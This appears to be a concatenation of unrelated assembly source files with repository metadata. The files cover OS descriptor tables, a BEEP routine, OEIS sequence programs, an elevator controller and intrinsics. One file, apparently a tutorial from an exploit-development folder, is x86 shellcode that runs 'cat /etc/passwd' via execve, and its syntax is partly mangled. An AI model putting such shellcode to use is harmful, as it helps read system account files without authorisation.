; base = 0x0000, length = 0xffff
gdt_code:
; 1 st flags : (present)1 (privilege)00 (descriptor type)1 -> 1001 b
; type flags : (code)1 (conforming)0 (readable)1 (accessed)0 -> 1010 b
; 2 nd flags : (granularity)1 (32 - bit default)1 (64 - bit seg)0 (AVL)0 -> 1100 b
dw 0xffff ; segment length, bits 0-15
dw 0x0 ; segment base, bits 0-15
db 0x0 ; segment base, bits 16-23
db 10011010b ; flags (8 bits)
db 11001111b ; flags (4 bits) + segment length, bits 16-19
db 0x0 ; segment base, bits 24-31
; GDT for data segment. base and length identical to code segment
; some flags changed, again, refer to os-dev.pdf
; base = 0x0000, length = 0xffff
gdt_data:
; Same as code segment except for the type flags :
; 1 st flags : (present)1 (privilege)00 (descriptor type)1 -> 1001 b
; type flags : (code)0 (expand down)0 (writable)1 (accessed)0 -> 0010 b
dw 0xffff ; segment length, bits 0-15;
dw 0x0 ; segment base, bits 0-15
db 0x0 ; segment base, bits 16-23
db 10010010b ; flags (8 bits)
db 11001111b ; flags (4 bits) + segment length, bits 16-19
db 0x0 ; segment base, bits 24-31
gdt_end: ; The reason for putting a label at the end of the
; GDT is so we can have the assembler calculate
; the size of the GDT for the GDT decriptor (below)
; GDT descriptor
gdt_descriptor:
dw gdt_end - gdt_start - 1 ; size (16 bit), always one less of its true size
dd gdt_start ; address (32 bit)
; Define some handy constants for the GDT segment descriptor offsets, which
; are what segment registers must contain when in protected mode. For example,
; when we set DS = 0x10 in PM, the CPU knows that we mean it to use the
; segment described at offset 0x10 (i.e. 16 bytes) in our GDT, which in our
; case is the DATA segment (0x0 -> NULL ; 0x08 -> CODE ; 0x10 -> DATA)
; define some constants for later use
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start | 45.924528 | 86 | 0.646261 |
a37b601719ed9dbb8c69a0a6d1a6267ed6b4faf9 | 2,296 | asm | Assembly | sbsext/ext/beep.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | sbsext/ext/beep.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | sbsext/ext/beep.asm | olifink/smsqe | c546d882b26566a46d71820d1539bed9ea8af108 | [
"BSD-2-Clause"
] | null | null | null | ; BEEP / BEEPING V2.00 1990 Tony Tebby QJUMP
;
; BEEP duration, pitch etc
; BEEPING
;
section exten
xdef beep
xdef beeping
xref ut_gtint ; get integers
xref ut_retin
xref ut_par0
include 'dev8_keys_sbasic'
include 'dev8_keys_sys'
include 'dev8_keys_qdos_sms'
beep
jsr ut_gtint ; get parameters
bne.s beep_rts
move.l sb_buffb(a6),a3 ; parameter block
add.l a6,a3
move.l a3,a0 ; pointer to fill
subq.b #1,d3 ; how many?
blt.s beep_stop
clr.l (a3)+ ; zero values for missing
clr.l (a3)+
clr.l (a3)+
clr.l (a3)+
add.l a6,a1
move.l a0,a2
beep_cprm
move.w (a1)+,(a0)+ ; copy parameters given
dbra d3,beep_cprm
move.l a3,a0 ; and set command
move.w #$0a0a,(a0)+ ; beep
move.l #%00000000101010101010,(a0)+
move.b 3(a2),(a0)
addq.b #1,(a0)+ ; pitch 1
move.b 5(a2),(a0)
addq.b #1,(a0)+ ; pitch 2
move.b 7(a2),(a0)+ ; interval
move.b 6(a2),(a0)+
move.b 1(a2),(a0)+ ; duration
move.b 0(a2),(a0)+
move.b 9(a2),(a0)+ ; step
move.b $b(a2),(a0)+ ; wrap
move.b $d(a2),(a0)+ ; rand
move.b $f(a2),(a0)+ ; fuzz
bra.s beep_hdop
beep_stop
move.w #$0b00,(a0)+ ; beep off
clr.l (a0)+ ; no params
beep_hdop
move.b #%01,(a0)+ ; no reply
moveq #sms.hdop,d0
trap #do.sms2
beep_rts
rts
beeping
jsr ut_par0 ; no parameters please
moveq #sms.info,d0
trap #do.sms2
moveq #1,d1
and.b sys_qlbp(a0),d1 ; beep status from sysvars
move.l sb_arthp(a6),a1
subq.l #2,a1
move.w d1,(a6,a1.l) ; on stack
jmp ut_retin
end
| 26.390805 | 67 | 0.412456 |
df902d46158696f0d87eea284ae849ae87dbb799 | 509 | asm | Assembly | oeis/261/A261004.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/261/A261004.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/261/A261004.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A261004: Expansion of (-3-164*x-x^2)/(1-99*x+99*x^2-x^3).
; Submitted by Christian Krause
; -3,-461,-45343,-4443321,-435400283,-42664784581,-4180713488823,-409667257120241,-40143210484294963,-3933624960203786301,-385455102889486762703,-37770666458209498958761,-3701139857801641411196043,-362673935398102648798253621,-35538344529156257940817658983
mul $0,2
add $0,1
mov $1,-3
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $2,$1
add $1,$2
add $2,$1
add $2,2
lpe
mov $0,$1
sub $0,10
div $0,3
add $0,5
| 24.238095 | 256 | 0.715128 |
bcf1ded762658a49c73f0915e39b030e8c12f599 | 548 | asm | Assembly | Exploit-Dev/basic_shellcode/testshellcode.asm | bbhunter/Security-Guide | 139cfba3b30a4ca6a32d11aa025638d0a9c5c541 | [
"MIT"
] | 98 | 2019-11-20T05:26:30.000Z | 2022-01-27T05:05:39.000Z | Exploit-Dev/basic_shellcode/testshellcode.asm | bbhunter/Security-Guide | 139cfba3b30a4ca6a32d11aa025638d0a9c5c541 | [
"MIT"
] | null | null | null | Exploit-Dev/basic_shellcode/testshellcode.asm | bbhunter/Security-Guide | 139cfba3b30a4ca6a32d11aa025638d0a9c5c541 | [
"MIT"
] | 34 | 2019-11-25T14:29:16.000Z | 2021-10-18T16:40:42.000Z | ; linux/x86 cat etc/passwd
; fb1h2s[]gmail[]com
; 2010-02-12
section .text
global _start
_start:
;This is just a tutorial
xorl %eax,%eax
cdq== movl eax edx
push edx
pushl 0x7461632f
pushl 0x6e69622f
mov ebx,esp
push edx
pushl 0x64777373
pushl 0x61702f2f
pushl 0x6374652f
mov ecx,esp
mov $0xb,%al
push edx
push ecx
push ebx
mov ecx,esp
int 80h
| 21.92 | 49 | 0.481752 |
5fb7a4f7542caafdc6c28ecc6b9985af9d9e98fe | 866 | asm | Assembly | reference_asm/font_from_rom.asm | tashiww/maten_tools | efaf43958639edfdcd342615f4c23ccba35d80ce | [
"MIT"
] | 1 | 2021-05-14T19:14:38.000Z | 2021-05-14T19:14:38.000Z | reference_asm/font_from_rom.asm | tashiww/maten_tools | efaf43958639edfdcd342615f4c23ccba35d80ce | [
"MIT"
] | null | null | null | reference_asm/font_from_rom.asm | tashiww/maten_tools | efaf43958639edfdcd342615f4c23ccba35d80ce | [
"MIT"
] | null | null | null | ; ########################################################################################
; # Generated by the active disassembly feature of the Exodus emulation platform
; #
; # Creation Date: 2020-11-25 22:30:31
; # Analysis Region: 0x00001FE8 - 0x0000200C
; ########################################################################################
org $00001FE8
MOVEM.l A1/A0/D2/D1/D0, -(A7)
MOVE.w A1, D2 ; $F000
SUBI.w #$0010, D0 ; control codes are $00~$0F
; BMI.b *+$46 ; branch to $203A if control code
BMI.b *+$48 ; add 2 cuz exodus adds it in maybe.
EXT.l D0 ; contains character code from table
; LSL.w #5, D0 ; multiply character code by 32 for 16x16 font
LSL.w #4, D0 ; 8x16 font so we only do half that much
LEA $000648E6, A0 ; ROM offset for font
ADDA.l D0, A0
MOVEM.l A0/D0, -(A7)
MOVE.w #$0080, D0
; BSR.w *+$1B1A ; jump to $3B24 | 39.363636 | 90 | 0.527714 |
ae00c6427b76c701ee8d423fb468e3bba465eeba | 174 | asm | Assembly | libsrc/alloc/balloc/ba_AddMem.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/alloc/balloc/ba_AddMem.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/alloc/balloc/ba_AddMem.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
MODULE ba_AddMem
SECTION code_alloc_balloc
PUBLIC ba_AddMem
PUBLIC _ba_AddMem
EXTERN balloc_addmem
defc ba_AddMem = balloc_addmem
defc _ba_AddMem = balloc_addmem
| 14.5 | 31 | 0.816092 |
3178f2040b187a04e6959c94475b4fbc95f278c5 | 754 | asm | Assembly | programs/oeis/070/A070960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/070/A070960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/070/A070960.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A070960: a(1) = 1; a(n) = n!*(3/2) for n>=2.
; 1,3,9,36,180,1080,7560,60480,544320,5443200,59875200,718502400,9340531200,130767436800,1961511552000,31384184832000,533531142144000,9603560558592000,182467650613248000,3649353012264960000,76636413257564160000,1686001091666411520000,38778025108327464960000,930672602599859159040000,23266815064996478976000000,604937191689908453376000000,16333304175627528241152000000,457332516917570790752256000000,13262642990609552931815424000000,397879289718286587954462720000000,12334257981266884226588344320000000,394696255400540295250827018240000000
mov $1,1
add $1,$0
seq $1,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters).
mul $1,3
div $1,2
mov $0,$1
| 75.4 | 538 | 0.839523 |
7d688f6284abbee6efa890624f66e7e7e6f84e52 | 1,299 | asm | Assembly | oeis/269/A269497.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/269/A269497.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/269/A269497.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A269497: Number of length-6 0..n arrays with no repeated value differing from the previous repeated value by one.
; 40,591,3680,14695,44904,114695,257536,524655,990440,1758559,2968800,4804631,7501480,11355735,16734464,24085855,33950376,46972655,63914080,85666119,113264360,147903271,190951680,243968975,308722024,387202815,481646816,594552055,728698920,887170679,1073374720,1291064511,1544362280,1837782415,2176255584,2565153575,3010314856,3518070855,4095272960,4749320239,5488187880,6320456351,7255341280,8302724055,9473183144,10778026135,12229322496,13839937055,15623564200,17594762799,19768991840,22162646791
mov $3,$0
mul $0,4
add $0,2
mov $1,$0
mul $0,2
mov $2,$1
add $2,$1
mov $1,$0
sub $1,2
mul $2,2
add $2,$1
lpb $1
add $0,$2
sub $1,1
lpe
add $0,16
mov $4,$3
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,2
lpb $7
add $0,$4
sub $7,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,148
lpb $7
add $0,$4
sub $7,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,60
lpb $7
add $0,$4
sub $7,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,12
lpb $7
add $0,$4
sub $7,1
lpe
mov $5,0
mov $6,$3
lpb $6
add $5,$4
sub $6,1
lpe
mov $4,$5
mov $7,1
lpb $7
add $0,$4
sub $7,1
lpe
| 16.2375 | 497 | 0.682833 |
303a8b0ba23782f75a01589b30c8dd279d755c65 | 699 | asm | Assembly | demos/SicDemos/link-factorial/print2.asm | roycrippen/sicxe | fdca37f56c95f2a76a78455f86a90e4b89329a54 | [
"MIT"
] | null | null | null | demos/SicDemos/link-factorial/print2.asm | roycrippen/sicxe | fdca37f56c95f2a76a78455f86a90e4b89329a54 | [
"MIT"
] | null | null | null | demos/SicDemos/link-factorial/print2.asm | roycrippen/sicxe | fdca37f56c95f2a76a78455f86a90e4b89329a54 | [
"MIT"
] | null | null | null | print START 0
STA buffer
LDA screen
LDT row
ADDR T, A
STA cursor
prtbuf LDA buffer
SUB max . find first power of 10 larger than buffer
COMP #0
JLT found
LDA max
MUL #10
STA max
J prtbuf
found LDA max . divide max by 10 and print buffer/max
DIV #10
STA max
COMP #0
JEQ exit
LDA buffer
DIV max
ADD #48 . ASCII 0
+STCH @cursor . print to cursor
SUB #48
MUL max
STA tmp
LDA cursor
ADD #1
STA cursor . increment cursor
LDA buffer
SUB tmp
STA buffer
J found
exit LDA #1
STA max . reset max to 1
LDA row . newline
ADD #80
STA row
RSUB
max WORD 1
tmp RESW 1
buffer RESW 1
screen WORD 47104
row WORD 0
cursor RESW 1
gap RESW 64
| 14.265306 | 62 | 0.660944 |
31cb75ceb13283da579f8a6687582d2cbb7918cb | 234 | asm | Assembly | libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_front_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_front_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/adt/p_forward_list/c/sdcc_iy/p_forward_list_front_fastcall.asm | meesokim/z88dk | 5763c7778f19a71d936b3200374059d267066bb2 | [
"ClArtistic"
] | null | null | null |
; void *p_forward_list_front_fastcall(p_forward_list_t *list)
SECTION code_adt_p_forward_list
PUBLIC _p_forward_list_front_fastcall
_p_forward_list_front_fastcall:
INCLUDE "adt/p_forward_list/z80/asm_p_forward_list_front.asm"
| 21.272727 | 64 | 0.867521 |
c9b478a6bf7c26a3c3b271d7c5090602edc4f096 | 4,826 | asm | Assembly | untested/x64/my_ia32intrin.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | untested/x64/my_ia32intrin.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | untested/x64/my_ia32intrin.asm | GabrielRavier/Generic-Assembly-Samples | fbf803960a14307b7fce0165058d0d4048abaf42 | [
"Unlicense"
] | null | null | null | %include "macros.inc"
global _my_bsfd
global _my_bsrd
global _my_bswapd
global _my_crc32b
global _my_crc32w
global _my_crc32d
global _my_popcntd
global _my_rolb
global _my_rolw
global _my_rold
global _my_rorb
global _my_rorw
global _my_rord
global _my_bsfq
global _my_bsrq
global _my_bswapq
global _my_crc32q
global _my_popcntq
global _my_rolq
global _my_rorq
segment .text align=16
_my_bsfd:
bsf eax, edi
ret
align 16
_my_bsrd:
xor eax, eax
test edi, edi
je .ret
mov al, 31
js .ret
.loop:
dec al
add edi, edi
jns .loop
ret
align 16
.ret:
ret
align 16
_my_bswapd:
mov eax, edi
bswap eax
ret
align 16
_BitReflect8:
movzx edx, dil
mov eax, edi
mov edi, edx
sal edi, 7
shr al, 7
or eax, edi
mov edi, edx
sal edi, 5
and edi, 2
or eax, edi
mov edi, edx
sar edi, 1
and edi, 8
or eax, edi
lea edi, [rdi + rdx]
and edi, 16
lea ecx, [rdx * 8]
or eax, edi
and ecx, 32
sal edx, 5
or eax, ecx
and edx, 64
or eax, edx
ret
align 16
_BitReflect16:
multipush rbp, rbx
mov ebp, edi
movzx edi, dil
sub rsp, 8
call _BitReflect8
mov ebx, eax
mov eax, ebp
movzx edi, ah
call _BitReflect8
sal ebx, 8
add rsp, 8
movzx eax, al
or eax, ebx
multipop rbp, rbx
ret
align 16
_BitReflect32:
multipush rbp, rbx
mov ebp, edi
movzx edi, di
sub rsp, 8
call _BitReflect16
mov edi, ebp
shr edi, 16
mov ebx, eax
call _BitReflect16
sal ebx, 16
add rsp, 8
movzx eax, ax
or eax, ebx
multipop rbp, rbx
ret
align 16
_mod2_64bit:
mov rax, rsi
shr rax, 32
mov ecx, 31
mov r8, 0x100000000
.loop:
add rax, rax
mov rdx, rsi
shr rdx, cl
and edx, 1
or rax, rdx
test rax, r8
je .noXor
xor rax, rdi
.noXor:
dec ecx
cmp ecx, -1
jne .loop
ret
%define crc32Polymonial 0x11EDC6F41
align 16
_my_crc32b:
multipush rbp, rbx
sub rsp, 8
mov ebp, esi
call _BitReflect32
mov ebx, eax
movzx edi, bpl
call _BitReflect8
movzx esi, al
sal rsi, 32
sal rbx, 8
xor rsi, rbx
mov rdi, crc32Polymonial
call _mod2_64bit
mov edi, eax
add rsp, 8
multipop rbp, rbx
jmp _BitReflect32
align 16
_my_crc32w:
multipush rbp, rbx
sub rsp, 8
mov ebp, esi
call _BitReflect32
mov ebx, eax
movzx edi, bp
call _BitReflect16
movzx esi, ax
sal rsi, 32
sal rbx, 16
xor rsi, rbx
mov rdi, crc32Polymonial
call _mod2_64bit
mov edi, eax
add rsp, 8
multipop rbp, rbx
call _BitReflect32
align 16
_my_crc32d:
multipush rbp, rbx
sub rsp, 8
mov ebp, esi
call _BitReflect32
mov ebx, eax
mov edi, ebp
call _BitReflect32
mov rsi, rbx
xor rsi, rax
sal rsi, 32
mov rdi, crc32Polymonial
call _mod2_64bit
mov edi, eax
add rsp, 8
multipop rbp, rbx
call _BitReflect32
align 16
_my_popcntd:
mov eax, edi
shr eax, 1
and eax, 0x55555555
sub edi, eax
mov ecx, edi
and edi, 0x33333333
shr ecx, 2
and ecx, 0x33333333
add ecx, edi
mov edx, ecx
shr edx, 4
add ecx, edx
and ecx, 0x0F0F0F0F
imul eax, ecx, 0x01010101
shr eax, 24
ret
align 16
_my_popcntdPOPCNT:
popcnt eax, edi
ret
align 16
_my_rolb:
mov ecx, esi
and ecx, 7
mov eax, edi
rol al, cl
ret
align 16
_my_rolw:
mov ecx, esi
and ecx, 0xF
mov eax, edi
rol ax, cl
ret
align 16
_my_rold:
mov eax, edi
mov ecx, esi
rol eax, cl
ret
align 16
_my_rorb:
mov ecx, esi
and ecx, 7
mov eax, edi
rol al, cl
ret
align 16
_my_rorw:
mov ecx, esi
and ecx, 0xF
mov eax, edi
ror ax, cl
ret
align 16
_my_rord:
mov eax, edi
mov ecx, esi
ror eax, cl
ret
align 16
_my_bsfq:
bsf rax, rdi
ret
align 16
_my_bsrq:
test rdi, rdi
je .ret0
mov eax, 63
bt rdi, 63
jc .ret
.loop:
add rdi, rdi
dec eax
bt rdi, 63
jnc .loop
.ret:
ret
align 16
.ret0:
xor eax, eax
ret
align 16
_my_bswapq:
mov rax, rdi
bswap rax
ret
align 16
_my_crc32q:
multipush rbp, rbx
mov rbp, rsi
sub rsp, 8
call _BitReflect32
mov edi, ebp
mov ebx, eax
call _BitReflect32
xor rbx, rax
mov rsi, rbx
sal rsi, 32
mov rdi, crc32Polymonial
call _mod2_64bit
mov rdi, rbp
shr rdi, 32
mov ebx, eax
call _BitReflect32
add rsp, 8
multipop rbp, rbx
ret
align 16
_my_popcntq:
mov rdx, rdi
shr rdx, 1
mov rax, 0x5555555555555555
and rdx, rax
mov rcx, 0x3333333333333333
sub rdi, rdx
mov r8, 0x0F0F0F0F0F0F0F0F
mov rax, rdi
and rdi, rcx
shr rax, 2
mov r9, 0x0101010101010101
and rax, rcx
add rax, rdi
mov rsi, rax
shr rsi, 4
add rax, rsi
and rax, r8
imul rax, r9
shr rax, 56
ret
align 16
_my_popcntqPOPCNT:
popcnt rax, rdi
ret
align 16
_my_rolq:
mov rax, rdi
mov ecx, esi
rol rax, cl
ret
align 16
_my_rorq:
mov rax, rdi
mov ecx, esi
ror rax, cl
ret | 9.613546 | 35 | 0.655201 |
a6dedb7d76cb5f1a4829ec14eb7e9bac9d4c1e17 | 266 | asm | Assembly | 8051/14arith/add.asm | iamvk1437k/mpmc | 3640b29f29b3ffa78747b13b2ca8ac77c49695eb | [
"MIT"
] | 1 | 2022-01-01T11:27:43.000Z | 2022-01-01T11:27:43.000Z | 8051/14arith/add.asm | iamvk1437k/mpmc | 3640b29f29b3ffa78747b13b2ca8ac77c49695eb | [
"MIT"
] | null | null | null | 8051/14arith/add.asm | iamvk1437k/mpmc | 3640b29f29b3ffa78747b13b2ca8ac77c49695eb | [
"MIT"
] | null | null | null | MOV A,#20H ;Move 1st data to accumulator
MOV dptr,#4200H ;Load the address in dptr
MOV B,#54H ;Move 2nd data to accumulator
ADD A,B ;Add both data
MOVX @dptr,A ;Store the result in memory
HERE: SJMP HERE ;Stop the program | 44.333333 | 49 | 0.62782 |
91c00e1440b7346fbe6d9112a5bf250ab24ac575 | 6,033 | asm | Assembly | elevador.asm | rodolfovalentim/sistemb2016-1 | b9b2f961b757dd31296f9fcb906a926a4e5388d1 | [
"MIT"
] | null | null | null | elevador.asm | rodolfovalentim/sistemb2016-1 | b9b2f961b757dd31296f9fcb906a926a4e5388d1 | [
"MIT"
] | null | null | null | elevador.asm | rodolfovalentim/sistemb2016-1 | b9b2f961b757dd31296f9fcb906a926a4e5388d1 | [
"MIT"
] | null | null | null | %macro drawline 5 ;x1,y1,x2,y2,color
mov ax,%1
push ax
mov ax,%2
push ax
mov ax,%3
push ax
mov ax,%4
push ax
mov byte[cor],%5
call line
%endmacro
%macro ponto 2 ; x,y,color
add %1, 3
add %2, 100
push %1
push %2
call plot_xy
sub %1, 3
sub %2, 100
%endmacro
%macro writeword 4
mov byte[cor], %4
mov bx,0
mov dh,%2 ;linha 0-29
mov dl,%3 ;coluna 0-79
%%local:
call cursor
mov al,[bx+%1]
cmp al, '$'
je %%exit
call caracter
inc bx ;proximo caracter
inc dl ;avanca a coluna
jmp %%local
%%exit:
%endmacro
%macro write318 2 ; motor, led
pusha
mov al, %1
mov cl, %2
shl al, 6
or al, cl
mov dx, 318h
out dx, al
popa
%endmacro
%macro write319 1
pusha
mov al, 0
or al, %1
mov dx, 319h
out dx, al
popa
%endmacro
%macro read319 0
mov al, 80h
mov dx, 319h
in al, dx
mov ah, al
and al, 00111111b
shr ah, 6
and ah, 1b
%endmacro
segment code
..start:
mov ax, data
mov ds, ax
mov ax, stack
mov ss, ax
mov sp, stacktop
; setup 318h to write
mov ax, 0
mov dx, 319h
out dx, al
write318 10b, 00h ; go to last floor
mov ax, 2000 ; counter to delay
call DELAY ; call delay
write318 01b, 00h ; stop and wait for instructions
ETERNO:
read319
mov bx, state_sensor
cmp byte[bx], 0
je SENSOR0
cmp ah, 0
je DEBOUNCE
jmp ETERNO
SENSOR0:
cmp ah, 1
je DEBOUNCE
jmp ETERNO
DEBOUNCE:
mov bh, ah
mov ax, 10
call DELAY
read319
cmp ah, bh
je HANDLE_CHANGE
jmp ETERNO
HANDLE_CHANGE:
mov [state_sensor], ah
cmp ah, 0
je HANDLE_FLOOR
jmp ETERNO
HANDLE_FLOOR:
mov al, byte[floor]
dec al
mov byte[floor], al
cmp al, 2
je EXIT
jmp ETERNO
EXIT:
write318 00b, 00h
mov ah, 4Ch
int 21h
DELAY:
mov cx, ax
DELAY2:
push cx
mov cx, 0
DELAY1:
loop DELAY1
pop cx
loop DELAY2
ret
;***************************************************************************
; função cursor
; dh = linha (0-29) e dl=coluna (0-79)
;***************************************************************************
cursor:
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
mov ah,2
mov bh,0
int 10h
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
;_____________________________________________________________________________
;
; fun��o caracter escrito na posi��o do cursor
;
; al= caracter a ser escrito
; cor definida na variavel cor
caracter:
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
mov ah,9
mov bh,0
mov cx,1
mov bl,[cor]
int 10h
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
ret
;_____________________________________________________________________________
;
; função plot_xy
;
; push x; push y; call plot_xy; (x<639, y<479)
; cor definida na variavel cor
plot_xy:
push bp
mov bp,sp
pushf
push ax
push bx
push cx
push dx
push si
push di
mov ah,0ch
mov al,[cor]
mov bh,0
mov dx,479
sub dx,[bp+4]
mov cx,[bp+6]
int 10h
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pop bp
ret 4
;-----------------------------------------------------------------------------
;
; fun��o line
;
; push x1; push y1; push x2; push y2; call line; (x<639, y<479)
line:
push bp
mov bp,sp
pushf ;coloca os flags na pilha
push ax
push bx
push cx
push dx
push si
push di
mov ax,[bp+10] ; resgata os valores das coordenadas
mov bx,[bp+8] ; resgata os valores das coordenadas
mov cx,[bp+6] ; resgata os valores das coordenadas
mov dx,[bp+4] ; resgata os valores das coordenadas
cmp ax,cx
je line2
jb line1
xchg ax,cx
xchg bx,dx
jmp line1
line2:
; deltax=0
cmp bx,dx ;subtrai dx de bx
jb line3
xchg bx,dx ;troca os valores de bx e dx entre eles
line3:
; dx > bx
push ax
push bx
call plot_xy
cmp bx,dx
jne line31
jmp fim_line
line31: inc bx
jmp line3
;deltax <>0
line1:
; comparar m�dulos de deltax e deltay sabendo que cx>ax
; cx > ax
push cx
sub cx,ax
mov [deltax],cx
pop cx
push dx
sub dx,bx
ja line32
neg dx
line32:
mov [deltay],dx
pop dx
push ax
mov ax,[deltax]
cmp ax,[deltay]
pop ax
jb line5
; cx > ax e deltax>deltay
push cx
sub cx,ax
mov [deltax],cx
pop cx
push dx
sub dx,bx
mov [deltay],dx
pop dx
mov si,ax
line4:
push ax
push dx
push si
sub si,ax ;(x-x1)
mov ax,[deltay]
imul si
mov si,[deltax] ;arredondar
shr si,1
; se numerador (DX)>0 soma se <0 subtrai
cmp dx,0
jl ar1
add ax,si
adc dx,0
jmp arc1
ar1:
sub ax,si
sbb dx,0
arc1:
idiv word [deltax]
add ax,bx
pop si
push si
push ax
call plot_xy
pop dx
pop ax
cmp si,cx
je fim_line
inc si
jmp line4
line5:
cmp bx,dx
jb line7
xchg ax,cx
xchg bx,dx
line7:
push cx
sub cx,ax
mov [deltax],cx
pop cx
push dx
sub dx,bx
mov [deltay],dx
pop dx
mov si,bx
line6:
push dx
push si
push ax
sub si,bx ;(y-y1)
mov ax,[deltax]
imul si
mov si,[deltay] ;arredondar
shr si,1
; se numerador (DX)>0 soma se <0 subtrai
cmp dx,0
jl ar2
add ax,si
adc dx,0
jmp arc2
ar2:
sub ax, si
sbb dx, 0
arc2:
idiv word [deltay]
mov di, ax
pop ax
add di, ax
pop si
push di
push si
call plot_xy
pop dx
cmp si, dx
je fim_line
inc si
jmp line6
fim_line:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
pop bp
ret 8
;*******************************************************************
segment data
cor db branco_intenso
preto equ 0
azul equ 1
verde equ 2
cyan equ 3
vermelho equ 4
magenta equ 5
marrom equ 6
branco equ 7
cinza equ 8
azul_claro equ 9
verde_claro equ 10
cyan_claro equ 11
rosa equ 12
magenta_claro equ 13
amarelo equ 14
branco_intenso equ 15
modo_anterior db 0
linha dw 0
coluna dw 0
deltax dw 0
deltay dw 0
abrir db 'ABRIR$'
sair db 'SAIR$'
state_led db 0
state_motor db 0
requests db 0
floor db 4
state_sensor db 1
segment stack stack
resb 256
stacktop:
| 14.128806 | 78 | 0.606995 |
a0279741df8e0b37c5d20b3a757f6b88103c518a | 274 | asm | Assembly | libsrc/time/zx81/clock.asm | andydansby/z88dk-mk2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | 1 | 2020-09-15T08:35:49.000Z | 2020-09-15T08:35:49.000Z | libsrc/time/zx81/clock.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | libsrc/time/zx81/clock.asm | andydansby/z88dk-MK2 | 51c15f1387293809c496f5eaf7b196f8a0e9b66b | [
"ClArtistic"
] | null | null | null | ;
; ZX81 clock() function
; By Stefano Bodrato - Oct. 2011
; Back to default FRAMES counter + 1 extra byte ;)
;
; --------
; $Id: clock.asm,v 1.6 2011/11/02 14:24:33 stefano Exp $
XLIB clock
; XREF frames3
.clock
ld hl,-1
ld de,($4034)
and a
sbc hl,de
ld de,0
ret
| 13.7 | 56 | 0.620438 |
97eaec9e9ab28ede27a2031e09e8d0bd2e435640 | 503 | asm | Assembly | oeis/026/A026059.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/026/A026059.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
